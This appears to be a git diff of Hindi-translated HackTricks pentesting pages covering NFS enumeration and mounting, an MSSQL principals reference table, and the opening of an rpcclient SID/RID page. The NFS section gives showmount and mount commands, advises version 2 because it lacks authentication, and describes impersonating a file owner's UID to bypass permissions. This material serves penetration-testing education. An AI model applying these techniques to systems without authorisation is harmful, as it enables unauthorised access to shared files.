- **NFSv4**: NFS श्रृंखला में एक महत्वपूर्ण संस्करण, NFSv4 ने नेटवर्क के बीच फ़ाइल साझा करने को आधुनिक बनाने के लिए डिज़ाइन की गई सुविधाओं का एक सेट पेश किया। उल्लेखनीय सुधारों में **उच्च सुरक्षा** के लिए Kerberos का एकीकरण, फ़ायरवॉल को पार करने और पोर्टमैपर्स की आवश्यकता के बिना इंटरनेट पर संचालन करने की क्षमता, एक्सेस कंट्रोल सूचियों (ACLs) का समर्थन, और स्थिति-आधारित संचालन का परिचय शामिल है। इसके प्रदर्शन में सुधार और स्थिति-आधारित प्रोटोकॉल को अपनाने ने NFSv4 को नेटवर्क फ़ाइल साझा करने की तकनीकों में एक महत्वपूर्ण प्रगति के रूप में अलग किया है।
प्रत्येक NFS संस्करण को नेटवर्क परिवेशों की बदलती आवश्यकताओं को पता करने के इरादे से विकसित किया गया है, सुरक्षा, संगतता, और प्रदर्शन को प्रगतिशील ढंग से बढ़ाते हुए।
NFS के प्रत्येक संस्करण को नेटवर्क वातावरण की विकसित आवश्यकताओं को संबोधित करने के इरादे से विकसित किया गया है, सुरक्षा, संगतता और प्रदर्शन को क्रमिक रूप से बढ़ाते हुए।
## गणना
## Enumeration
### उपयोगी nmap स्क्रिप्ट
### Useful nmap scripts
```bash
nfs-ls #List NFS exports and check permissions
nfs-showmount #Like showmount -e
@ -46,9 +49,9 @@ nfs-statfs #Disk statistics and info from NFS share
```bash
scanner/nfs/nfsmount #Scan NFS mounts and list permissions
```
### माउंटिंग
### Mounting
**जानने** के लिए **कौन सी फोल्डर** सर्वर **माउंट** करने के लिए **उपलब्ध** है, आप नीचे दिए गए कमांड का उपयोग कर सकते हैं:
यह जानने के लिए कि **कौन सा फ़ोल्डर** सर्वर पर **उपलब्ध** है, आप इसे पूछ सकते हैं:
```bash
showmount -e <IP>
```
@ -56,43 +59,45 @@ showmount -e <IP>
```bash
mount -t nfs [-o vers=2] <ip>:<remote_folder> <local_folder> -o nolock
```
आपको उसे **संस्करण 2 का उपयोग करने** के लिए निर्दिष्ट करना चाहिए क्योंकि इसमें **कोई** **प्रमाणीकरण** या **अधिकारिकरण** नहीं है।
आपको **संस्करण 2** का **उपयोग** करने के लिए **निर्धारित** करना चाहिए क्योंकि इसमें **कोई** **प्रमाणीकरण** या **अधिकार** नहीं है।
**उदाहरण:**
```bash
mkdir /mnt/new_back
mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock
```
## अनुमतियाँ
## Permissions
यदि आप एक फ़ोल्डर माउंट करते हैं जिसमें **कुछ उपयोगकर्ता द्वारा ही पहुंची जा सकने वाली फ़ाइलें या फ़ोल्डर** होते हैं (द्वारा **UID**). आप उस **UID** के साथ स्थानीय रूप से एक उपयोगकर्ता बना सकते हैं और उस उपयोगकर्ता का उपयोग करके आप फ़ाइल/फ़ोल्डर तक पहुंच सकते हैं
यदि आप एक फ़ोल्डर को माउंट करते हैं जिसमें **फाइलें या फ़ोल्डर केवल कुछ उपयोगकर्ता द्वारा एक्सेस किए जा सकते हैं** (द्वारा **UID**)। आप **स्थानीय रूप से** उस **UID** के साथ एक उपयोगकर्ता बना सकते हैं और उस **उपयोगकर्ता** का उपयोग करके आप फ़ाइल/फ़ोल्डर को **एक्सेस** कर सकेंगे
## NSFShell
़ाइलों तक पहुंच प्राप्त करने के लिए UID और GID को स्विच करने और माउंट करने के लिए [nfsshell](https://github.com/NetDirect/nfsshell) का उपयोग कर सकते हैं।
ाइलों तक पहुँच प्राप्त करने के लिए UID और GID को आसानी से सूचीबद्ध, माउंट और बदलने के लिए आप [nfsshell](https://github.com/NetDirect/nfsshell) का उपयोग कर सकते हैं।
[Nice NFSShell tutorial.](https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/)
[अच्छा NFSShell ट्यूटोरियल।](https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/)
## Config files
```
/etc/exports
/etc/lib/nfs/etab
```
### खतरनाक सेटिंग्स
### Dangerous settings
- **पढ़ने और लिखने की अनुमति (`rw`):** यह सेटिंग फाइल सिस्टम से पढ़ने और लिखने दोनों की अनुमति देती है। इस तरह की व्यापक पहुंच देने के प्रभावों को ध्यान में रखना महत्वपूर्ण है।
- **Read and Write Permissions (`rw`):** यह सेटिंग फ़ाइल सिस्टम से पढ़ने और लिखने की अनुमति देती है। इतनी व्यापक पहुँच देने के परिणामों पर विचार करना आवश्यक है।
- **असुरक्षित पोर्ट का उपयोग (`insecure`):** जब यह सक्षम होता है, तो इसे सिस्टम को 1024 के ऊपर के पोर्ट का उपयोग करने की अनुमति होती है। इस सीमा के ऊपर के पोर्टों की सुरक्षा कम मजबूत हो सकती है, जिससे जोखिम बढ़ सकता है।
- **Use of Insecure Ports (`insecure`):** जब सक्षम किया जाता है, तो यह सिस्टम को 1024 से ऊपर के पोर्ट का उपयोग करने की अनुमति देता है। इस रेंज के ऊपर के पोर्ट की सुरक्षा कम सख्त हो सकती है, जिससे जोखिम बढ़ता है।
- **नेस्टेड फ़ाइल सिस्टम की दृश्यता (`nohide`):** इस कॉन्फ़िगरेशन से निर्यातित निर्देशिकाओं को दिखाया जाता है भले ही किसी अन्य फ़ाइल सिस्टम को नीचे माउंट किया गया हो। प्रबंधन के लिए प्रत्येक निर्देशिका को अपना निर्यात प्रविष्टि चाहिए
- **Visibility of Nested File Systems (`nohide`):** यह कॉन्फ़िगरेशन निर्देशिकाओं को दृश्यमान बनाता है, भले ही एक अन्य फ़ाइल सिस्टम एक निर्यातित निर्देशिका के नीचे माउंट किया गया हो। प्रत्येक निर्देशिका के लिए उचित प्रबंधन के लिए अपनी निर्यात प्रविष्टि की आवश्यकता होती है
- **रूट फ़ाइल्स स्वामित्व (`no_root_squash`):** इस सेटिंग के साथ, रूट उपयोगकर्ता द्वारा बनाई गई फ़ाइलें अपना मूल UID/GID 0 बनाए रखती हैं, उत्तम अधिकार के सिद्धांत को अनदेखा करती हैं और अत्यधिक अनुमतियों की संभावना हो सकती है
- **Root Files Ownership (`no_root_squash`):** इस सेटिंग के साथ, रूट उपयोगकर्ता द्वारा बनाए गए फ़ाइलें अपनी मूल UID/GID 0 बनाए रखती हैं, न्यूनतम विशेषाधिकार के सिद्धांत की अनदेखी करते हुए और संभावित रूप से अत्यधिक अनुमतियाँ प्रदान करती हैं
- **सभी उपयोगकर्ताओं का स्क्वॉश न करना (`no_all_squash`):** यह विकल्प सुनिश्चित करता है कि उपयोगकर्ता पहचानें पूरे सिस्टम में संरक्षित रहें, जो सही ढंग से संभाला नहीं गया हो तो अनुमति और पहुंच नियंत्रण समस्याओं का कारण बन सकता है।
- **Non-Squashing of All Users (`no_all_squash`):** यह विकल्प सुनिश्चित करता है कि उपयोगकर्ता पहचान प्रणाली में संरक्षित रहती है, जो यदि सही तरीके से प्रबंधित नहीं की गई तो अनुमति और पहुँच नियंत्रण समस्याओं का कारण बन सकती है।
## NFS मिसकॉन्फ़िगरेशन का उपयोग करके विशेषाधिकार उन्नति
## Privilege Escalation using NFS misconfigurations
[NFS no\_root\_squash और no\_all\_squash विशेषाधिकार उन्नति](../linux-hardening/privilege-escalation/nfs-no\_root_squash-misconfiguration-pe.md)
[NFS no\_root\_squash and no\_all\_squash privilege escalation](../linux-hardening/privilege-escalation/nfs-no\_root\_squash-misconfiguration-pe.md)
## HackTricks स्वचालित कमांड्स
## HackTricks Automatic Commands
```
Protocol_Name: NFS #Protocol Abbreviation if there is one.
Port_Number: 2049 #Comma separated if there is more than one.
@ -119,14 +124,17 @@ Name: Nmap
Description: Nmap with NFS Scripts
Command: nmap --script=nfs-ls.nse,nfs-showmount.nse,nfs-statfs.nse -p 2049 {IP}
```
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का हैकट्रिक्स में विज्ञापन देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटीज़**](https://opensea.io/collection/the-peass-family) संग्रह।
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें।
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड ग्रुप**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम ग्रुप**](https://t.me/peass) या **मुझे** **ट्विटर** पर **फॉलो** करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें, [हैकट्रिक्स रेपो](https://github.com/carlospolop/hacktricks) और [हैकट्रिक्स-क्लाउड रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके**
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}

View file

@ -1,42 +1,51 @@
# MSSQL उपयोगकर्ताओं के प्रकार
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>शून्य से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का हैकट्रिक्स में विज्ञापित करना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण देखना चाहते हैं या हैकट्रिक्स को पीडीएफ में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटी**](https://opensea.io/collection/the-peass-family) संग्रह।
* [**आधिकारिक पीएस और हैकट्रिक्स स्वैग**](https://peass.creator-spring.com) प्राप्त करें।
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **ट्विटर** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** पर **फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें, [हैकट्रिक्स रेपो](https://github.com/carlospolop/hacktricks) और [हैकट्रिक्स-क्लाउड रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके।**
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}
[**दस्तावेज़**](https://learn.microsoft.com/en-us/sql/relational-databases/system-catalog-views/sys-database-principals-transact-sql?view=sql-server-ver16) से लिया गया तालिका
तालिका [**दस्तावेज़ों**](https://learn.microsoft.com/en-us/sql/relational-databases/system-catalog-views/sys-database-principals-transact-sql?view=sql-server-ver16) से ली गई है
| स्तंभ का नाम | डेटा प्रकार | विवरण |
| कॉलम का नाम | डेटा प्रकार | विवरण |
| ------------------------------------------ | ----------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| **नाम** | **sysname** | डेटाबेस के भीतर अद्वितीय प्रमुख का नाम। |
| **प्रमुख आईडी** | **int** | डेटाबेस के भीतर अद्वितीय प्रमुख की आईडी। |
| **प्रकार** | **char(1)** | <p>प्रमुख प्रकार:<br><br>A = एप्लिकेशन रोल<br><br>C = प्रमाणपत्र से मैप किया गया उपयोगकर्ता<br><br>E = एज़्यूर एक्टिव डायरेक्टरी से बाहरी उपयोगकर्ता<br><br>G = विंडोज़ समूह<br><br>K = एसिमेट्रिक कुंजी से मैप किया गया उपयोगकर्ता<br><br>R = डेटाबेस रोल<br><br>S = SQL उपयोगकर्ता<br><br>U = विंडोज़ उपयोगकर्ता<br><br>X = एज़्यूर एक्टिव डायरेक्टरी समूह या एप्लिकेशन से बाहरी समूह</p> |
| **प्रकार विवरण** | **nvarchar(60)** | <p>प्रमुख प्रकार का विवरण।<br><br>एप्लिकेशन रोल<br><br>प्रमाणपत्र से मैप किया गया उपयोगकर्ता<br><br>बाहरी उपयोगकर्ता<br><br>विंडोज़ समूह<br><br>एसिमेट्रिक कुंजी से मैप किया गया उपयोगकर्ता<br><br>डेटाबेस रोल<br><br>SQL उपयोगकर्ता<br><br>विंडोज़ उपयोगकर्ता<br><br>बाहरी समूह</p> |
| **डिफ़ॉल्ट स्कीमा नाम** | **sysname** | जब SQL नाम एक स्कीमा स्पष्ट नहीं करता है, तो उपयोग किया जाने वाला नाम। प्रमुखों के लिए S, U, या A प्रकार के लिए शून्य। |
| **निर्माण तिथि** | **datetime** | प्रमुख निर्मित किया गया था उस समय। |
| **संशोधित तिथि** | **datetime** | प्रमुख को अंतिम बार संशोधित किया गया था उस समय। |
| **स्वामित्व प्रमुख आईडी** | **int** | इस प्रमुख का स्वामित्व करने वाले प्रमुख की आईडी। सभी स्थिर डेटाबेस रोल डीबीओ द्वारा डिफ़ॉल्ट रूप से स्वामित्वित हैं। |
| **सिड** | **varbinary(85)** | प्रमुख का सिक्योरिटी पहचानकर्ता (SID)। SYS और INFORMATION SCHEMAS के लिए शून्य। |
| **फिक्स्ड रोल है** | **bit** | यदि 1, तो यह पंक्ति फिक्स्ड डेटाबेस रोलों में से एक के लिए एक प्रविष्टि का प्रतिनिधित्व करती है: db_owner, db_accessadmin, db_datareader, db_datawriter, db_ddladmin, db_securityadmin, db_backupoperator, db_denydatareader, db_denydatawriter। |
| **प्रमाणीकरण प्रकार** | **int** | <p><strong>लागू होता है</strong>: SQL सर्वर 2012 (11.x) और बाद में।<br><br>प्रमाणीकरण प्रकार का संकेत करता है। निम्नलिखित संभावित मान और उनके विवरण हैं।<br><br>0 : कोई प्रमाणीकरण नहीं<br>1 : इंस्टेंस प्रमाणीकरण<br>2 : डेटाबेस प्रमाणीकरण<br>3 : विंडोज़ प्रमाणीकरण<br>4 : एज़्यूर एक्टिव डायरेक्टरी प्रमाणीकरण</p> |
| **प्रमाणीकरण प्रकार विवरण** | **nvarchar(60)** | <p><strong>लागू होता है</strong>: SQL सर्वर 2012 (11.x) और बाद में।<br><br>प्रमाणीकरण प्रकार का विवरण। निम्नलिखित संभावित मान और उनके विवरण हैं।<br><br><code>NONE</code> : कोई प्रमाणीकरण नहीं<br><code>INSTANCE</code> : इंस्टेंस प्रमाणीकरण<br><code>DATABASE</code> : डेटाबेस प्रमाणीकरण<br><code>WINDOWS</code> : विंडोज़ प्रमाणीकरण<br><code>EXTERNAL</code>: एज़्यूर एक्टिव डायरेक्टरी प्रमाणीकरण</p> |
| **डिफ़ॉल्ट भाषा नाम** | **sysname** | <p><strong>लागू होता है</strong>: SQL सर्वर 2012 (11.x) और बाद में।<br><br>इस प्रमुख के लिए डिफ़ॉल्ट भाषा को सूचित करता है।</p> |
| **डिफ़ॉल्ट भाषा LCID** | **int** | <p><strong>लागू होता है</strong>: SQL सर्वर 2012 (11.x) और बाद में।<br><br>इस प्रमुख के लिए डिफ़ॉल्ट LCID को सूचित करता है।</p> |
| **एन्क्रिप्टेड मान में परिवर्तन की अनुमति** | **bit** | <p><strong>लागू होता है</strong>: SQL सर्वर 2016 (13.x) और बाद में, SQL डेटाबेस।<br><br>सर्वर पर बल्क कॉपी ऑपरेशन में एन्क्रिप्टेड मेटाडेटा जांचों को दबाता है। यह उपयोगकर्ता को डेटा को डिक्रिप्ट किए बिना, तालिकाओं या डेटाबेस के बीच एलवेज एन्क्रिप्टेड डेटा बल्क कॉपी करने की अनुमति देता है। डिफ़ॉल्ट ऑफ है।</p> |
| **name** | **sysname** | प्रिंसिपल का नाम, डेटाबेस के भीतर अद्वितीय। |
| **principal\_id** | **int** | प्रिंसिपल का ID, डेटाबेस के भीतर अद्वितीय। |
| **type** | **char(1)** | <p>प्रिंसिपल प्रकार:<br><br>A = एप्लिकेशन भूमिका<br><br>C = एक प्रमाणपत्र से मैप किया गया उपयोगकर्ता<br><br>E = Azure Active Directory से बाहरी उपयोगकर्ता<br><br>G = Windows समूह<br><br>K = एक विषम कुंजी से मैप किया गया उपयोगकर्ता<br><br>R = डेटाबेस भूमिका<br><br>S = SQL उपयोगकर्ता<br><br>U = Windows उपयोगकर्ता<br><br>X = Azure Active Directory समूह या अनुप्रयोगों से बाहरी समूह</p> |
| **type\_desc** | **nvarchar(60)** | <p>प्रिंसिपल प्रकार का विवरण।<br><br>APPLICATION_ROLE<br><br>CERTIFICATE_MAPPED_USER<br><br>EXTERNAL_USER<br><br>WINDOWS_GROUP<br><br>ASYMMETRIC_KEY_MAPPED_USER<br><br>DATABASE_ROLE<br><br>SQL_USER<br><br>WINDOWS_USER<br><br>EXTERNAL_GROUPS</p> |
| **default\_schema\_name** | **sysname** | SQL नाम का उपयोग करने के लिए नाम जब स्कीमा निर्दिष्ट नहीं किया गया हो। S, U, या A प्रकार के प्रिंसिपल के लिए NULL। |
| **create\_date** | **datetime** | समय जब प्रिंसिपल बनाया गया था। |
| **modify\_date** | **datetime** | समय जब प्रिंसिपल को अंतिम बार संशोधित किया गया था। |
| **owning\_principal\_id** | **int** | प्रिंसिपल का ID जो इस प्रिंसिपल का मालिक है। सभी निश्चित डेटाबेस भूमिकाएँ डिफ़ॉल्ट रूप से **dbo** द्वारा स्वामित्व में होती हैं। |
| **sid** | **varbinary(85)** | प्रिंसिपल का SID (सुरक्षा पहचानकर्ता)। SYS और INFORMATION SCHEMAS के लिए NULL। |
| **is\_fixed\_role** | **bit** | यदि 1 है, तो यह पंक्ति निश्चित डेटाबेस भूमिकाओं में से एक के लिए एक प्रविष्टि का प्रतिनिधित्व करती है: db\_owner, db\_accessadmin, db\_datareader, db\_datawriter, db\_ddladmin, db\_securityadmin, db\_backupoperator, db\_denydatareader, db\_denydatawriter। |
| **authentication\_type** | **int** | <p><strong>लागू होता है</strong>: SQL Server 2012 (11.x) और बाद में।<br><br>प्रमाणीकरण प्रकार का संकेत देता है। संभावित मान और उनके विवरण निम्नलिखित हैं।<br><br>0 : कोई प्रमाणीकरण नहीं<br>1 : उदाहरण प्रमाणीकरण<br>2 : डेटाबेस प्रमाणीकरण<br>3 : Windows प्रमाणीकरण<br>4 : Azure Active Directory प्रमाणीकरण</p> |
| **authentication\_type\_desc** | **nvarchar(60)** | <p><strong>लागू होता है</strong>: SQL Server 2012 (11.x) और बाद में।<br><br>प्रमाणीकरण प्रकार का विवरण। संभावित मान और उनके विवरण निम्नलिखित हैं।<br><br><code>NONE</code> : कोई प्रमाणीकरण नहीं<br><code>INSTANCE</code> : उदाहरण प्रमाणीकरण<br><code>DATABASE</code> : डेटाबेस प्रमाणीकरण<br><code>WINDOWS</code> : Windows प्रमाणीकरण<br><code>EXTERNAL</code>: Azure Active Directory प्रमाणीकरण</p> |
| **default\_language\_name** | **sysname** | <p><strong>लागू होता है</strong>: SQL Server 2012 (11.x) और बाद में।<br><br>इस प्रिंसिपल के लिए डिफ़ॉल्ट भाषा का संकेत देता है।</p> |
| **default\_language\_lcid** | **int** | <p><strong>लागू होता है</strong>: SQL Server 2012 (11.x) और बाद में।<br><br>इस प्रिंसिपल के लिए डिफ़ॉल्ट LCID का संकेत देता है।</p> |
| **allow\_encrypted\_value\_modifications** | **bit** | <p><strong>लागू होता है</strong>: SQL Server 2016 (13.x) और बाद में, SQL डेटाबेस।<br><br>बुल्क कॉपी संचालन में सर्वर पर क्रिप्टोग्राफिक मेटाडेटा जांच को दबाता है। यह उपयोगकर्ता को डेटा को डिक्रिप्ट किए बिना, तालिकाओं या डेटाबेस के बीच हमेशा एन्क्रिप्टेड डेटा को बल्क कॉपी करने की अनुमति देता है। डिफ़ॉल्ट OFF है।</p> |
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>शून्य से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का हैकट्रिक्स में विज्ञापित करना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण देखना चाहते हैं या हैकट्रिक्स को पीडीएफ में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटी**](https://opensea.io/collection/the-peass-family) संग्रह।
* [**आधिकारिक पीएस और हैकट्रिक्स स्वैग**](https://peass.creator-spring.com) प्राप्त करें।
* **शामिल हों** [**💬**](https://emo
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}

View file

@ -1,50 +1,52 @@
# rpcclient enumeration
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का एक्सेस चाहिए**? [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें** [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके।
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Try Hard सुरक्षा समूह**
**Try Hard Security Group**
<figure><img src="https://github.com/carlospolop/hacktricks/blob/in/network-services-pentesting/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
### संबंधित पहचानकर्ता (RID) और सुरक्षा पहचानकर्ता (SID) का अवलोकन
### Relative Identifiers (RID) और Security Identifiers (SID) का अवलोकन
**संबंधित पहचानकर्ता (RID)** और **सुरक्षा पहचानकर्ता (SID)** विंडोज ऑपरेटिंग सिस्टम में विशेष रूप से पहचान और प्रबंधन करने के लिए महत्वपूर्ण घटक हैं, जैसे नेटवर्क डोमेन के भीतर उपयोगकर्ताओं और समूहों की पहचान करने के लिए
**Relative Identifiers (RID)** और **Security Identifiers (SID)** Windows ऑपरेटिंग सिस्टम में नेटवर्क डोमेन के भीतर उपयोगकर्ताओं और समूहों जैसे ऑब्जेक्ट्स की अद्वितीय पहचान और प्रबंधन के लिए प्रमुख घटक हैं
* **SIDs** डोमेनों के लिए अद्वितीय पहचानकर्ता के रूप में काम करते हैं, यह सुनिश्चित करते हैं कि प्रत्येक डोमेन को पहचाना जा सके
* **RIDs** SIDs के साथ जोड़े जाते हैं ताकि उन डोमेनों के भीतर वस्तुओं के लिए अद्वितीय पहचानकर्ता बनाए जा सकें। यह संयोजन वस्तुओं की अनुमतियों और पहुंच नियंत्रण का सटीक ट्रैकिंग और प्रबंधन संभावित बनाता है।
- **SIDs** डोमेन के लिए अद्वितीय पहचानकर्ता के रूप में कार्य करते हैं, यह सुनिश्चित करते हुए कि प्रत्येक डोमेन अलग है
- **RIDs** को SIDs के साथ जोड़ा जाता है ताकि उन डोमेन के भीतर ऑब्जेक्ट्स के लिए अद्वितीय पहचानकर्ता बनाए जा सकें। यह संयोजन ऑब्जेक्ट अनुमतियों और पहुंच नियंत्रण के सटीक ट्रैकिंग और प्रबंधन की अनुमति देता है।
उदाहरण के लिए, एक उपयोगकर्ता जिसका नाम `पेपे` है, उसके विशिष्ट RID के साथ डोमेन के SID को जोड़कर एक अद्वितीय पहचानकर्ता हो सकता है, जिसे हेक्साडेसिमल (`0x457`) और डेसिमल (`1111`) फॉर्मेट में प्रस्तुत किया जा सकता है। इससे पेपे के लिए डोमेन के भीतर एक पूर्ण और अद्वितीय पहचानकर्ता प्राप्त होता है जैसे: `S-1-5-21-1074507654-1937615267-42093643874-1111`
उदाहरण के लिए, एक उपयोगकर्ता जिसका नाम `pepe` है, उसके पास डोमेन के SID के साथ उसके विशिष्ट RID को मिलाकर एक अद्वितीय पहचानकर्ता हो सकता है, जिसे हेक्साडेसिमल (`0x457`) और दशमलव (`1111`) प्रारूपों में दर्शाया गया है। यह pepe के लिए डोमेन के भीतर एक पूर्ण और अद्वितीय पहचानकर्ता बनाता है जैसे: `S-1-5-21-1074507654-1937615267-42093643874-1111`
### **rpcclient के साथ जांच**
### **rpcclient के साथ Enumeration**
